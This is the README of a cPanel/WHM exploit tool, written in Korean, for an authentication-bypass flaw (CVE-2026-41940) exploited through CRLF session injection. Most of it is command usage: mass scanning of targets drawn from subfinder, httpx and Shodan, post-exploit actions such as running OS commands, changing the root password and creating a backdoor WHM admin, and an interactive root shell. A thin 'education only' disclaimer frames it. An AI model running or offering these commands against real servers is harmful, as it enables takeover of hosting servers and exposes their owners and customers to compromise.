
cPanel/WHM CVE-2026-41940 인증 우회를 CRLF 세션 주입을 통해 악용하여 인증 없이 루트 수준의 WHM 액세스를 획득한 다음, 계정 목록을 조회하고 OS 명령을 실행하며, 승인된 테스트를 위한 대화형 셸을 엽니다.
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.
cPanel & WHM에서 발생하는 심각한 인증 우회(CVSS 10.0) 취약점인 CVE-2026-41940을 악용하기 위한 도구입니다. 인증되지 않은 공격자가 Authorization 헤더를 통해 서버 측 세션 파일에 CRLF 시퀀스를 주입하여 자격 증명 없이 루트 수준의 WHM 접근 권한을 얻을 수 있게 합니다.
CVE-2026-41940은 일반적으로 cPanel/WHM에서 시스템이 인증 세션을 처리하는 방식의 결함을 통해 악용됩니다. 공격은 일반적으로 로그인 인터페이스에 대한 정상적인 요청으로 시작되며, 애플리케이션이 사용자 자격 증명을 완전히 검증하기 전에 세션을 조기에 초기화합니다. 세션 관련 입력의 부적절한 처리로 인해 특정하게 조작되거나 예상치 못한 입력 구조가 서버에 세션 데이터가 저장되거나 해석되는 방식을 변경할 수 있습니다.
| 버전 | 취약한 버전 | 패치된 버전 |
|---|---|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/lanicer/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
이 도구는 대상 도메인이 지정되어야 합니다.
단일 대상 모드:
python cve.py -u https://target1.com:2083
또한 target.txt 파일(생성 필요)에서 스캔할 수 있습니다:
python cve.py -l target.txt -t 50 -o result.json
사용 가능한 명령:
python cve.py -u https://victim1.com:2083 # single target scan
python cve.py info -u https://victim1.com:2083 # Retrieves system information (version, load, disk usage).
python cve.py host -u https://victim1.com:2083 # Retrieves the hostname of the target server.
# List all accounts on the server
python cve.py list -u https://target.com:2087
# OS command
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Get server info (hostname, disk, MySQL host)
python cve.py info -u https://target.com:2087
# Change root password
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Interactive WHM shell
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# From scope list
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Shodan results
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Multiple sources combined
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
성공적인 실행 후 대화형 WHM 셸을 열 수 있습니다:
python cve.py shell -u
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ 이 도구는 교육 또는 버그 바운티 목적으로만 제작되었습니다. 통제된 환경 외부에서의 무단 사용은 엄격히 금지됩니다.
| 명령 | 설명 |
|---|
id | 사용자 ID 표시 |
hostname | 서버 호스트명 가져오기 |
accounts | 모든 사용자 계정 나열 |
info | 로드, 디스크, MySQL 호스트, 버전 |
cat <path> | 파일 내용 읽기 |
exec <cmd> | OS 명령 실행 |
newadmin <user> <pass> | 백도어 WHM 관리자 생성 |
passwd <pass> | 루트 비밀번호 변경 |
l [path] | 디렉터리 목록 |
help | 모든 명령 표시 |
exit | 셸 모드 종료 |